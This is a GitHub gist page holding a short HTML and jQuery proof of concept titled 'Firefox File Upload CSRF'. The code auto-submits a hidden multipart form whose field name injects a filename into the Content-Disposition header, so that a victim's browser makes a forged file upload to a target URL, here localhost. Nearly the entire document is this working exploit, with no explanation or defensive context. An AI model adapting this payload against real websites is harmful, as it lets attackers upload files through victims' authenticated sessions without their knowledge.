Skip to content

Instantly share code, notes, and snippets.

@gregose
Created May 11, 2011 04:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gregose/5d5615e3ea6a26f257de to your computer and use it in GitHub Desktop.
Save gregose/5d5615e3ea6a26f257de to your computer and use it in GitHub Desktop.
Firefox File Upload CSRF
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
<script>
$(document).ready(function() {
var request = {
"url": "http://localhost:4567/test",
"file_name": "uptest.foo",
"param_name": "file",
"file_content": "blah content"
}
if(jQuery.browser.version[0] == '2') {
var injection = '\\"; name=' + request['param_name'] + '; filename=' + request['file_name'] + ';';
} else {
var injection = request['param_name'] + '"; filename="' + request['file_name'];
}
$("<form>")
.attr("method", "POST")
.attr("enctype", "multipart/form-data")
.attr("action", request['url'])
.appendTo("body");
$("<input>")
.attr("type", "hidden")
.attr("name", injection)
.attr("value", request['file_content'])
.appendTo("form");
$("form").submit();
});
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment